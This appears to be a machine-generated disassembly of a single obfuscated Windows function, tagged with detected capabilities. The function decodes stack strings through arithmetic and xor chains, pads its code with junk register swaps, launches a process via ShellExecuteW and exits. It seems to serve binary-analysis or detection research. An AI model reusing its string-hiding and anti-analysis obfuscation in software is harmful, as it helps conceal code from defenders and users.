Function at 0x140156da0
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg r8, rbx
mov qword [rsp + 8], r8
xchg rbx, r8
mov qword [rsp + 0x10], rsi
nop
mov qword [rsp - 8], rbp
sub rsp, 8
push rdi
push rdx
mov qword [rsp], r12
push r14
push r15
lea rbp, [rsp - 0x2070]
mov eax, 0x2286c03c
sub eax, 0x5950cdd
xor eax, 0x3c9a92a3
add eax, 0x43cd1db5
xor eax, 0x14a0248b
sub eax, 0x5509260b
sub eax, 0x1b8ed3bf
call fcn.1401fce70
sub rsp, rax
xchg r8, rdx
mov r15, r8
xchg r8, rdx
mov r12, rcx
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x1401576cb
mov rcx, rdx
call fcn.1400701e0
cmp rax, 3
jb 0x140157566
lea edx, [rsi + 1]
xchg rcx, rbx
mov rbx, r15
xchg rcx, rbx
call fcn.14004e120
mov dl, 0x3c
add dl, 8
sub dl, 0x27
xor dl, 0x6f
xor dl, 0xc
sub dl, 0x3a
xor dl, 1
xor dl, 0x44
mov rcx, rax
call fcn.14007dbb0
test al, al
je 0x140157566
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call fcn.140163730
nop
mov rdi, qword [r12]
lea rcx, [rdi + 0x308]
call fcn.14007e760
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea edx, [rsi + 2]
mov rcx, r15
call fcn.14004e120
lea rdx, [rbp - 0x80]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e1b0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg rsi, rcx
mov rsi, rbx
xchg rsi, rcx
call fcn.140052680
nop
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.140175e10
xchg rbx, r15
mov r15, rax
xchg r15, rbx
lea rcx, [rbp - 0x20]
call fcn.14007b0f0
mov r9, rbx
xchg r8, rax
mov rax, r8
xchg r8, rax
lea edx, [rsi + 0x40]
xchg rdi, r11
mov rcx, r11
xchg r11, rdi
call fcn.14016e030
nop
lea rcx, [rbp + 0x28]
call fcn.140029b90
nop
lea rcx, [rbp - 0x80]
call fcn.14004c6f0
xchg r15, rcx
mov r15, rcx
xchg rcx, r15
call fcn.1400701e0
cmp rax, 4
jb 0x14015755d
mov rcx, qword [r12]
neg rcx
add rcx, 0xfffffffffffffcf8
neg rcx
call fcn.14007e760
mov rbx, rax
lea edx, [rsi + 3]
mov rcx, r15
call fcn.14004e120
lea rdx, [rsp + 0x60]
xchg rdi, rcx
mov rdi, rax
xchg rcx, rdi
call fcn.14007e1b0
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rbx, rcx
mov rbx, rcx
xchg rbx, rcx
call fcn.140052680
nop
lea rcx, [rsp + 0x60]
call fcn.14004c6f0
lea rcx, [rbp - 0x60]
call fcn.140178dd0
cmp rax, 8
jb 0x1401572ea
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call 0x140178de0
nop
mov dword [rbp + 0x20b0], 0x5433b765
xor dword [rbp + 0x20b0], 0x135a02bb
xor dword [rbp + 0x20b0], 0x24d5b35f
sub dword [rbp + 0x20b0], 0x5874c2c1
add dword [rbp + 0x20b0], 0x514236e5
sub dword [rbp + 0x20b0], 0x131fadd1
sub dword [rbp + 0x20b0], 0x381924e
xor dword [rbp + 0x20b0], 0x45e83a87
xchg rcx, r15
mov r15, rax
xchg rcx, r15
call fcn.140175e10
xchg r15, rax
mov rdx, r15
xchg r15, rax
lea rcx, [rbp + 0x10]
call fcn.14007a9b0
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
mov dword [rbp + 0x20b0], 0x6c300a15
sub dword [rbp + 0x20b0], 0x3bfe3995
add dword [rbp + 0x20b0], 0x188451ed
add dword [rbp + 0x20b0], 0x36fe79b6
sub dword [rbp + 0x20b0], 0x2b3bb749
xor dword [rbp + 0x20b0], 0x1c25dd29
xor dword [rbp + 0x20b0], 0x485d39f0
mov dword [rsp + 0x40], 0x4613204f
xor dword [rsp + 0x40], 0x5c112365
sub dword [rsp + 0x40], 0x19de3d6a
add dword [rsp + 0x40], 0x20aecec3
xor dword [rsp + 0x40], 0x20620f72
add dword [rsp + 0x40], 0x37c54d83
xor dword [rsp + 0x40], 0xce831f82
mov dword [rsp + 0x4a], 0xff12032
xor dword [rsp + 0x4a], 0x1eaea610
add dword [rsp + 0x4a], 0x4a1c8970
add dword [rsp + 0x4a], 0x14ba30e3
add dword [rsp + 0x4a], 0x23301a
sub dword [rsp + 0x4a], 0x39063360
sub dword [rsp + 0x4a], 0x1e738717
add dword [rsp + 0x4a], 0xe69f495a
mov dword [rsp + 0x4e], 0x525b769b
sub dword [rsp + 0x4e], 0x237d5be1
add dword [rsp + 0x4e], 0x353cd12
xor dword [rsp + 0x4e], 0x45f2947b
sub dword [rsp + 0x4e], 0x18773cde
xor dword [rsp + 0x4e], 0x78efe2f1
add dword [rsp + 0x4e], 0x2182dada
sub dword [rsp + 0x4e], 0x100c7e2a
add dword [rsp + 0x4e], 0xc660cea6
mov dword [rsp + 0x44], 0x7f68a4e1
xor dword [rsp + 0x44], 0x627fc0dd
xor dword [rsp + 0x44], 0x53254d7a
xor dword [rsp + 0x44], 0x7553b1d2
add dword [rsp + 0x44], 0x320be9b5
add dword [rsp + 0x44], 0x898974ad
mov dword [rsp + 0x52], 0x149b512e
add dword [rsp + 0x52], 0x377b5913
sub dword [rsp + 0x52], 0x15889d88
add dword [rsp + 0x52], 0x3f17b0d2
sub dword [rsp + 0x52], 0x3b89dd1c
add dword [rsp + 0x52], 0xc5291f0e
mov dword [rsp + 0x56], 0x654fddc8
xor dword [rsp + 0x56], 0x55eb3490
xor dword [rsp + 0x56], 0x7ff40f8f
xor dword [rsp + 0x56], 0x4d2b0e8d
add dword [rsp + 0x56], 0x4efe7aa5
add dword [rsp + 0x56], 0xadbf9c3a
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0x16
add byte [rsp + rdx + 0x40], 0x40
xor byte [rsp + rdx + 0x40], 0x7a
add byte [rsp + rdx + 0x40], 0x3c
xor byte [rsp + rdx + 0x40], 0x7b
xor byte [rsp + rdx + 0x40], 0x13
inc rdx
cmp rdx, 8
jb 0x1401571bc
mov dword [rbp + 0x20b0], 0x5380f176
xor dword [rbp + 0x20b0], 0x1b0d1754
xor dword [rbp + 0x20b0], 0x65fbf8db
sub dword [rbp + 0x20b0], 0x226ecd12
add dword [rbp + 0x20b0], 0x616b28fc
add dword [rbp + 0x20b0], 0x126ec78b
sub dword [rbp + 0x20b0], 0x45fb9234
sub dword [rbp + 0x20b0], 0x38e5b033
movups xmm0, xmmword [rsp + 0x40]
xchg rcx, rbp
movaps xmmword [rcx - 0x40], xmm0
xchg rcx, rbp
movsd xmm1, qword [rsp + 0x50]
xchg r15, rbp
movsd qword [r15 - 0x30], xmm1
xchg r15, rbp
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007bfb0
nop
mov r14d, 0x1d6f5cc0
xor r14d, 0x46e40ee4
sub r14d, 0x27be84ca
sub r14d, 0x2684da60
add r14d, 0x1e13dfb
sub r14d, 0xf2930e6
mov dword [rbp + 0x20b0], r14d
xchg r9, rdx
mov r9, rax
xchg r9, rdx
xchg r13, rbx
mov rcx, r13
xchg r13, rbx
call fcn.14007b070
test al, al
je 0x1401572ea
mov bl, 0x42
xor bl, 0x67
xor bl, 0x3c
add bl, 0x33
add bl, 7
add bl, 0x18
sub bl, 0x1d
sub bl, 0x4d
jmp 0x1401572ec
xor bl, bl
test r14b, 8
je 0x14015730b
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007adb0
nop
test r14b, 4
je 0x140157369
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg r11, rsi
mov rax, r11
xchg rsi, r11
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x11
add byte [rsp + rax + 0x4a], 0x1e
sub byte [rsp + rax + 0x4a], 0x2f
xor byte [rsp + rax + 0x4a], 0x53
add byte [rsp + rax + 0x4a], 0x1b
xor byte [rsp + rax + 0x4a], 0x3a
xor byte [rsp + rax + 0x4a], 0x61
sub byte [rsp + rax + 0x4a], 0x35
inc rax
cmp rax, 0x10
jb 0x140157334
test r14b, 2
je 0x140157388
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007adb0
nop
test r14b, 1
je 0x1401573a6
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029b90
test bl, bl
je 0x140157553
lea rcx, [rbp - 0x60]
call fcn.140175e10
xchg rdi, rax
mov r8, rdi
xchg rdi, rax
mov dword [rsp + 0x30], 0x11a96e2f
add dword [rsp + 0x30], 0x116a7a33
xor dword [rsp + 0x30], 0x773a9c17
add dword [rsp + 0x30], 0x729d7b5
add dword [rsp + 0x30], 0x217fa68b
sub dword [rsp + 0x30], 0x5ec5e648
sub dword [rsp + 0x30], 0x96a4cf7
xor dword [rsp + 0x30], 0xe2544980
mov dword [rsp + 0x36], 0x26bd270a
xor dword [rsp + 0x36], 0x17b6ffb3
sub dword [rsp + 0x36], 0xd1712b6
xor dword [rsp + 0x36], 0xcf67532
sub dword [rsp + 0x36], 0x2d7223d6
add dword [rsp + 0x36], 0x358497da
xor dword [rsp + 0x36], 0x226e7a0
add dword [rsp + 0x36], 0x493e92af
add dword [rsp + 0x36], 0x8108ac35
mov dword [rsp + 0x3a], 0xa5c899
add dword [rsp + 0x3a], 0x7ed94389
sub dword [rsp + 0x3a], 0x7f54944e
xor dword [rsp + 0x3a], 0x4772fc7d
xor dword [rsp + 0x3a], 0xf8c679d
add dword [rsp + 0x3a], 0x28752939
xor dword [rsp + 0x3a], 0x8e32ea02
xor eax, eax
mov word [rsp + 0x3e], ax
xchg rdx, rax
mov rdx, rsi
xchg rdx, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0x4b
xor byte [rsp + rax + 0x30], 0x44
add byte [rsp + rax + 0x30], 0x63
xor byte [rsp + rax + 0x30], 0x5b
add byte [rsp + rax + 0x30], 3
xor byte [rsp + rax + 0x30], 0x27
sub byte [rsp + rax + 0x30], 0xb
inc rax
cmp rax, 4
jb 0x140157493
mov dword [rsp + 0x28], 0x3fc589fc
add dword [rsp + 0x28], 0x2f0b6670
sub dword [rsp + 0x28], 0xf6c550c
sub dword [rsp + 0x28], 0x4834e664
xor dword [rsp + 0x28], 0x4c4df3a3
sub dword [rsp + 0x28], 0x5b62475e
xchg rsi, rcx
mov qword [rsp + 0x20], rcx
xchg rsi, rcx
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0x42
sub byte [rsp + rsi + 0x36], 0x40
add byte [rsp + rsi + 0x36], 0x6c
sub byte [rsp + rsi + 0x36], 0x62
add byte [rsp + rsi + 0x36], 0x10
sub byte [rsp + rsi + 0x36], 1
xor byte [rsp + rsi + 0x36], 0x1b
inc rsi
cmp rsi, 8
jb 0x140157523
lea rcx, [rbp - 0x60]
call fcn.140029b90
nop
lea rcx, [rbp - 0x20]
jmp 0x1401576c6
mov r9d, 0x57508b9c
sub r9d, 0x4b56e609
xor r9d, 0x37c67f70
xor r9d, 0x58c7085
add r9d, 0x9e4cbb7
sub r9d, 0x3e6d6368
add r9d, 0x2acb30bc
add r9d, 0xd009bc8e
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
mov rcx, qword [r12]
call fcn.140163730
nop
mov r9d, 0x7dedd967
sub r9d, 0x74877d92
xor r9d, 0x411f59f5
add r9d, 0x401e2b1
xor r9d, 0x5a5c7fcc
add r9d, 0xe9d964e2
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg rcx, r15
mov r15, qword [r12]
xchg r15, rcx
call fcn.140163730
nop
xor edx, edx
mov r8d, 0x547990e1
add r8d, 0x27e81b5
xor r8d, 0x5d3aff78
xor r8d, 0x7707b9ad
sub r8d, 0x17ddb59a
sub r8d, 0x2371299c
xor r8d, 0x7eb6f1e2
sub r8d, 0x3fc064ef
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
xchg rcx, rdi
mov rdi, qword [r12]
xchg rcx, rdi
add rcx, 0x560
call fcn.14007b4f0
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b4f0
xchg r12, r8
mov r12, rbx
xchg r12, r8
xchg rdx, rcx
mov rcx, rax
xchg rcx, rdx
lea rcx, [rbp + 0x70]
call fcn.140086a30
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b0f0
lea r9, [rbp + 0x70]
mov r8, rax
mov edx, 0x1288524
add edx, 0x282c24a3
sub edx, 0x1e64ac77
xor edx, 0x4d4cdfb8
sub edx, 0x22f5e4d5
add edx, 0x4d96fae1
sub edx, 0x724438b4
mov rcx, rbx
call fcn.14016e030
nop
lea rcx, [rsp + 0x60]
call fcn.14007adb0
nop
lea rcx, [rbp - 0x80]
call fcn.14007adb0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3